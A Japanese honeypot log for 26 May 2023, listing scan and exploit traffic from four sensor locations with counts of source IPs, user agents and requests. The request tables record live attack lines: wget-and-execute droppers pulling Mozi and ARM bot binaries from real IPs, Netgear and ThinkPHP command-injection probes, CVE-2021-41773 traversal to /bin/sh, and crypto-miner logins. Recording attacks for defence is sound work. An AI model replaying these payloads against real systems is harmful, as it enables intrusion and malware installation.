2023/05/26 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2023/05/26分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
/.envへのスキャン行為

Location:JP

fasthttpによるスキャン行為
zgrabによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
phpMyAdminへのスキャン行為

を確認しました。

Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
zgrabによるスキャン行為
.jsへのスキャン行為
WordPressへのスキャン行為

を確認しました。

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Atlassian Jira Server/Data Centerの脆弱性(CVE-2021-26086)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
curlによるスキャン行為
l9scanによるスキャン行為
msnbot-mediaによるスキャン行為
zgrabによるスキャン行為
.cssへのスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
Gh0stRATのような動き

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  109.205.213.7/bins/UnHAnaAW.arm;
chmod 777 /tmp/UnHAnaAW.arm;
sh /tmp/UnHAnaAW.arm

Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
CensysInspectによるスキャン行為
/.gitへのスキャン行為
phpMyAdminへのスキャン行為
5.188.210.227に関する不正通信

を確認しました。

他

アクセス数推移

JP：総アクセス数：176 (前日比：-90)
US：総アクセス数：97 (前日比：-182)
UK：総アクセス数：142 (前日比：36)
SG：総アクセス数：198 (前日比：50)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
45	8.218.115.143	Singapore
2	8.222.134.13	Singapore
24	20.150.144.83	United States
7	35.216.229.26	United States
18	43.154.141.71	Singapore
1	45.56.108.128	United States
1	45.79.172.21	United States
2	45.95.169.184	Croatia
1	51.89.247.167	France
1	54.183.224.168	United States
1	64.62.197.152	United States
1	64.62.197.158	United States
2	66.175.213.4	United States
1	80.94.92.75	Romania
1	103.178.228.41	Vietnam
2	104.140.148.74	United States
1	104.140.148.78	United States
1	104.140.148.118	United States
1	104.192.0.50	United States
1	104.215.114.2	United States
9	104.248.59.21	United States
2	109.237.97.180	Russia
7	135.125.217.54	France
5	135.125.246.189	France
1	139.162.113.41	Netherlands
1	157.254.236.15	United States
1	162.243.152.23	United States
1	172.104.11.4	United States
1	172.104.11.34	United States
1	172.104.11.46	United States
2	172.105.128.11	United States
1	172.105.128.12	United States
1	174.138.62.59	United States
1	185.225.73.81	Bulgaria
8	185.254.196.173	Ukraine
1	185.254.196.186	Ukraine
1	192.155.89.205	United States
1	192.155.90.118	United States
1	192.241.200.31	United States
1	192.241.214.22	United States
1	194.180.48.171	Bulgaria
11	195.170.172.128	Netherlands
1	198.235.24.35	United States
1	198.235.24.224	United States
1	212.224.93.195	Germany

UserAgent一覧

件数	UserAgent
71	-
2	Go-http-client/1.1
1	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
6	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 abuse.xmco.fr
24	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
18	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
28	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
2	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; ; NCLIENT50_AAPCDA5841E333)
1	Mozilla/5.0 (iPod; U; CPU iPhone OS 6_1 like Mac OS X; en-HK) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/3.9174IP Mobile
2	Mozilla/5.0 zgrab/0.x
1	Mozilla/5.0
2	fasthttp
1	python-requests/2.25.1

リクエスト内容一覧

件数	Method	Request	Protocol
1		MGLNDD_18.179.20.5_80\n
1		\x16\x03\x01\x01H\x01
1		\x16\x03\x01\x02
19		\x16\x03\x01
1		{\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"login\",\"params\":{\"login\":\"49Y6pQYMhbUVbjKxvZdpSReMEtfXaGWi1MD3wbqCeGWmUzAVVSbgbXs5aX47GftMf4fSFQbyR5cuMPVJ5C5mFFsY9ZTc2t2\",\"pass\":\"x\",\"agent\":\"XMRig/6.15.3	(Windows NT 10.0; Win64; x64) libuv/1.42.0 msvc/2019\",\"algo\":[\"cn/1\",\"cn/2\",\"cn/r\",\"cn/fast\",\"cn/half\",\"cn/xao\",\"cn/rto\",\"cn/rwz\",\"cn/zls\",\"cn/double\",\"cn/ccx\",\"cn-lite/1\",\"cn-heavy/0\",\"cn-heavy/tube\",\"cn-heavy/xhv\",\"cn-pico\",\"cn-pico/tlo\",\"cn/upx2\",\"rx/0\",\"rx/wow\",\"rx/arq\",\"rx/graft\",\"rx/sfx\",\"rx/keva\",\"argon2/chukwa\",\"argon2/chukwav2\",\"argon2/ninja\",\"astrobwt\"]}}\n
1		{\"id\":1,\"method\":\"eth_submitLogin\",\"worker\":\"eth1.0\",\"params\":[\"0x26c47ab6dccade024f4d60a6cb76666fe82416a4\",\"x\"],\"jsonrpc\":\"2.0\"}\n
1		{\"id\":	1, \"method\": \"mining.subscribe\", \"params\": [\"cpuminer/2.5.1\"]}\n
1		{\"id\":	1, \"method\": \"mining.subscribe\", \"params\": [\"MinerName/1.0.0\", \"EthereumStratum/1.0.0\"]}\n
1	CONNECT	google[.]com:443	HTTP/1.1
1	GET	/.env.development.local	HTTP/1.1
1	GET	/.env.development	HTTP/1.1
1	GET	/.env.old	HTTP/1.1
1	GET	/.env.prod	HTTP/1.1
1	GET	/.env.production.local	HTTP/1.1
1	GET	/.env.production	HTTP/1.1
1	GET	/.env.save	HTTP/1.1
30	GET	/.env	HTTP/1.1
3	GET	/.git/config	HTTP/1.1
1	GET	/1.php	HTTP/1.1
1	GET	/?phpinfo=1	HTTP/1.1
1	GET	/SiteLoader	HTTP/1.1
1	GET	/WuEL	HTTP/1.1
1	GET	/_profiler/phpinfo	HTTP/1.1
1	GET	/a	HTTP/1.1
1	GET	/bundle.js	HTTP/1.1
1	GET	/client/get_targets	HTTP/1.1
2	GET	/config.json	HTTP/1.1
1	GET	/debug/default/view?panel=config	HTTP/1.1
1	GET	/download/file.ext	HTTP/1.1
3	GET	/favicon.ico	HTTP/1.1
1	GET	/frontend_dev.php/$	HTTP/1.1
1	GET	/geoip/	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/hudson	HTTP/1.1
2	GET	/info.php	HTTP/1.1
1	GET	/mPlayer	HTTP/1.1
1	GET	/phpinfo.php	HTTP/1.1
1	GET	/portal/redlion	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/sendgrid.env	HTTP/1.1
1	GET	/server-status	HTTP/1.1
1	GET	/sitemap.xml	HTTP/1.1
1	GET	/supp/notifications.php	HTTP/1.1
1	GET	/systembc/password.php	HTTP/1.0
1	GET	/telescope/requests	HTTP/1.1
1	GET	/upl.php	HTTP/1.1
1	GET	/v3/time	HTTP/1.1
1	GET	http[:]//18[.]179[.]20[.]5:80/MyAdmin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/PHPMYADMIN/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/SQL/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/_phpMyAdmin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/admin/phpmyadmin/scripts/setup.txt	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/admin/pma/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/admin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/db/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/dbadmin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/myadmin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/mysql-admin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/mysql/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/mysqladmin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/mysqlmanager/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/php-myadmin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/php/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.10.0.2/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.10.2/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.10.3/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.0/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.1.2/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.3/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.4/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.7/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.9.2/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.5.4/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.5.5-pl1/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.5.5/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.5.7-pl1/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.8.0.2/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin2/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin3/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpma/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpmanager/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpmy-admin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/phpmyadmin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/pma/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/sqlmanager/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/sqlweb/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/web/phpMyAdmin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/webadmin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/webdb/scripts/setup.php	HTTP/1.0
1	GET	http[:]//18[.]179[.]20[.]5:80/websql/scripts/setup.php	HTTP/1.0
1	GET	stager64	HTTP/1.1
18	HEAD	/Core/Skin/Login.aspx	HTTP/1.1
1	POST	/.env.development.local	HTTP/1.1
1	POST	/.env.development	HTTP/1.1
1	POST	/.env.old	HTTP/1.1
1	POST	/.env.prod	HTTP/1.1
1	POST	/.env.production.local	HTTP/1.1
1	POST	/.env.production	HTTP/1.1
1	POST	/.env.save	HTTP/1.1
1	POST	/.env	HTTP/1.1
1	POST	/FD873AC4-CF86-4FED-84EC-4BD59C6F17A7	HTTP/1.1
2	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/index.htm	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	23.94.160.136	United States
1	23.98.191.47	United States
5	45.33.98.5	United States
1	45.79.181.104	United States
1	45.79.181.251	United States
10	54.36.115.221	France
16	54.37.79.75	France
2	64.62.197.65	United States
2	66.175.213.4	United States
11	74.235.104.101	United States
1	83.97.73.89	Germany
1	103.178.228.41	Vietnam
1	104.131.144.7	United States
1	104.140.148.66	United States
2	104.140.148.70	United States
1	104.140.148.122	United States
1	107.170.228.9	United States
2	109.237.97.180	Russia
9	164.92.222.37	United States
1	172.104.11.4	United States
1	172.104.11.34	United States
1	172.104.11.51	United States
1	172.104.242.173	United States
1	172.105.89.161	United States
1	172.105.128.11	United States
1	174.138.187.154	United States
9	178.128.166.125	United States
1	179.43.177.244	Panama
1	183.136.225.42	China
1	192.155.90.118	United States
1	192.155.90.220	United States
1	192.241.195.38	United States
2	193.56.29.26	United Kingdom
1	194.180.48.85	Bulgaria
2	198.57.27.37	Canada
1	198.199.111.172	United States
1	198.235.24.155	United States

UserAgent一覧

件数	UserAgent
23	-
1	Go-http-client/1.1
1	Googlebot/2.1 ( http[:]//www[.]googlebot[.]com/bot.html)
2	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
2	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.26 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 OPR/94.0.0.0 (Edition Yx GX)
10	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
42	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3	Mozilla/5.0 zgrab/0.x
2	Mozilla/5.0
1	Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
2	python-requests/2.31.0

リクエスト内容一覧

件数	Method	Request	Protocol
1		MGLNDD_34.68.118.83_80\n
1		\x16\x03\x01\x01H\x01
19		\x16\x03\x01
1		\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
34	GET	/.env	HTTP/1.1
1	GET	/0bef	HTTP/1.0
2	GET	/1.php	HTTP/1.1
1	GET	/?%3Cplay%3Ewithme%3C/%3E	HTTP/1.1
1	GET	/_profiler/phpinfo	HTTP/1.1
1	GET	/actuator/health	HTTP/1.1
2	GET	/bundle.js	HTTP/1.1
2	GET	/client/get_targets	HTTP/1.1
4	GET	/favicon.ico	HTTP/1.1
2	GET	/geoip/	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/hudson	HTTP/1.1
1	GET	/portal/redlion	HTTP/1.1
1	GET	/sendgrid/.env	HTTP/1.1
1	GET	/server-status	HTTP/1.1
1	GET	/supp/notifications.php	HTTP/1.1
2	GET	/upl.php	HTTP/1.1
1	GET	/wp-content/	HTTP/1.1
1	GET	http[:]//httpbin[.]org/ip	HTTP/1.1
1	HEAD	/	HTTP/1.1
1	POST	/%C0	HTTP/1.1
3	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh	HTTP/1.1
1	POST	/debug/default/view.html	HTTP/1.1
2	POST	/debug/default/view?panel=config	HTTP/1.1
1	POST	/debug/default/view	HTTP/1.1
1	POST	/frontend/web/debug/default/view	HTTP/1.1
1	POST	/sapi/debug/default/view	HTTP/1.1
1	POST	/tool/view/phpinfo.view.php	HTTP/1.1
1	POST	/web/debug/default/view	HTTP/1.1
1	POST	/wp-config.php-backup	HTTP/1.1

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	31.146.249.198	Georgia
1	34.241.224.62	United States
2	45.33.80.243	United States
1	45.43.62.24	United States
1	45.79.128.205	United States
1	45.79.181.104	United States
3	45.79.181.179	United States
3	45.79.181.223	United States
1	45.128.232.139	Bulgaria
1	45.227.254.8	Belize
17	51.79.29.48	Canada
7	54.36.115.221	France
1	54.195.138.233	United States
1	64.225.9.122	United States
1	66.240.205.34	United States
9	68.183.0.154	United States
4	80.76.51.68	Bulgaria
1	80.94.92.75	Romania
1	83.97.73.89	Germany
10	103.150.136.192	India
2	104.140.148.74	United States
2	104.140.148.118	United States
1	104.140.148.122	United States
1	107.170.241.8	United States
1	107.170.249.12	United States
1	109.205.213.8	Azerbaijan
1	115.50.228.238	China
1	129.114.108.70	United States
16	159.203.44.43	United States
1	162.243.128.13	United States
1	172.104.242.173	United States
1	172.105.128.12	United States
1	174.138.187.154	United States
32	178.79.139.171	United States
1	179.43.177.244	Panama
1	185.92.73.113	United Kingdom
1	192.155.90.220	United States
1	193.35.18.65	Bulgaria
1	194.180.48.85	Bulgaria
1	198.199.109.73	United States
1	198.235.24.17	United States
1	205.210.31.174	United States
2	212.224.93.108	Germany
2	216.218.206.67	United States
1	222.134.174.76	China

UserAgent一覧

件数	UserAgent
36	-
17	Go-http-client/1.1
1	Mozila/5.0
1	Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Mobile Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 OPR/94.0.0.0
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
9	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
24	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
2	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (l9scan/2.0.4333e26363e2534313e2233313; +https[:]//leakix[.]net)
3	Mozilla/5.0 zgrab/0.x
1	Mozilla/5.0
1	SonyEricssonW950i/R100 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 323) Opera 8.60 [en-US]
27	curl/7.54.0
1	msnbot-media/1.1 ( http[:]//search[.]msn[.]com/msnbot.htm)
2	python-requests/2.25.1
1	python-requests/2.27.1
5	python-requests/2.28.2

リクエスト内容一覧

件数	Method	Request	Protocol
1		-
1		27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$	HTTP/1.0
1		Gh0st\xad
1		MGLNDD_132.145.66.34_80\n
1		\x03
1		\x16\x03\x01\x01\t\x01
4		\x16\x03\x01\x02
21		\x16\x03\x01
1		\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
1	CONNECT	google[.]com:443	HTTP/1.1
1	GET	/.DS_Store	HTTP/1.1
25	GET	/.env	HTTP/1.1
8	GET	/.git/config	HTTP/1.1
1	GET	/.vscode/sftp.json	HTTP/1.1
1	GET	/1.php	HTTP/1.1
1	GET	/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000	HTTP/1.1
1	GET	/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42	HTTP/1.1
1	GET	/?rest_route=/wp/v2/users/	HTTP/1.1
1	GET	/CSS/Miniweb.css	HTTP/1.1
1	GET	/Portal/Portal.mwsl	HTTP/1.1
1	GET	/Portal0000.htm	HTTP/1.1
1	GET	/TP/html/public/index.php	HTTP/1.1
1	GET	/TP/index.php	HTTP/1.1
1	GET	/TP/public/index.php	HTTP/1.1
1	GET	/YDiV	HTTP/1.1
1	GET	/__Additional	HTTP/1.1
1	GET	/_all_dbs	HTTP/1.1
1	GET	/about	HTTP/1.1
1	GET	/actuator/health	HTTP/1.1
1	GET	/bundle.js	HTTP/1.1
1	GET	/cdn-cgi/trace	HTTP/1.1
1	GET	/client/get_targets	HTTP/1.1
1	GET	/config.json	HTTP/1.1
1	GET	/debug/default/view?panel=config	HTTP/1.1
1	GET	/default.cgi	HTTP/1.1
1	GET	/default.php	HTTP/1.1
1	GET	/docs/cplugError.html/	HTTP/1.1
1	GET	/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application	HTTP/1.1
1	GET	/elrekt.php	HTTP/1.1
4	GET	/favicon.ico	HTTP/1.1
1	GET	/geoip/	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/home.cgi	HTTP/1.1
1	GET	/html/public/index.php	HTTP/1.1
1	GET	/hudson	HTTP/1.1
1	GET	/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1	HTTP/1.1
1	GET	/index.php	HTTP/1.1
1	GET	/info.php	HTTP/1.1
1	GET	/inicio.jsp	HTTP/1.1
1	GET	/localstart.jsa	HTTP/1.1
1	GET	/login.action	HTTP/1.1
1	GET	/main.cfm	HTTP/1.1
1	GET	/main.jhtml	HTTP/1.1
1	GET	/menu.aspx	HTTP/1.1
1	GET	/menu.jsa	HTTP/1.1
1	GET	/nmaplowercheck1684982901	HTTP/1.1
1	GET	/pools/default/buckets	HTTP/1.1
1	GET	/pools	HTTP/1.1
1	GET	/portal/redlion	HTTP/1.1
1	GET	/public/index.php	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/s/4333e26363e2534313e2233313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties	HTTP/1.1
1	GET	/sendgrid.env	HTTP/1.1
3	GET	/server-status	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//31[.]146[.]249[.]198:60505/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+ 109.205.213.7/bins/UnHAnaAW.arm;chmod+777+/tmp/UnHAnaAW.arm;sh+/tmp/UnHAnaAW.arm
1	GET	/start.cfm	HTTP/1.1
1	GET	/start.jsa	HTTP/1.1
1	GET	/supp/msroot/api.php?action=info&ajax=true	HTTP/1.1
1	GET	/telescope/requests	HTTP/1.1
1	GET	/thinkphp/html/public/index.php	HTTP/1.1
1	GET	/upl.php	HTTP/1.1
1	GET	/v2/_catalog	HTTP/1.1
1	GET	http[:]//httpbin[.]org/ip	HTTP/1.1
1	HEAD	/	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.0
1	POST	/HNAP1/	HTTP/1.1
2	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh	HTTP/1.1
1	POST	/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh	HTTP/1.1
1	POST	/index.php?s=captcha	HTTP/1.1
1	POST	/sdk	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.62.58.9	United Kingdom
1	5.188.210.227	Russia
1	13.57.201.197	United States
1	45.33.80.243	United States
1	45.56.108.128	United States
1	45.79.128.205	United States
1	45.79.172.21	United States
1	45.79.181.179	United States
3	45.79.181.223	United States
1	45.128.232.62	Bulgaria
1	45.227.254.55	Belize
30	54.36.115.221	France
2	74.82.47.3	United States
1	83.97.73.89	Germany
127	87.229.23.183	Hungary
1	91.240.118.29	Russia
1	102.91.4.121	Nigeria
1	104.140.148.70	United States
1	104.140.148.74	United States
1	159.100.30.68	Germany
2	162.142.125.14	United States
1	172.104.11.34	United States
1	172.105.89.161	United States
2	172.105.128.12	United States
1	174.138.187.154	United States
1	179.43.177.244	Panama
4	185.142.236.43	Seychelles
1	185.225.73.81	Bulgaria
2	192.155.90.220	United States
2	194.180.48.85	Bulgaria
1	198.199.98.188	United States
1	198.235.24.5	United States
1	198.235.24.85	United States

UserAgent一覧

件数	UserAgent
24	-
2	Go-http-client/1.1
1	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
127	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.57
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1	Mozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
31	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1	python-requests/2.25.1

リクエスト内容一覧

件数	Method	Request	Protocol
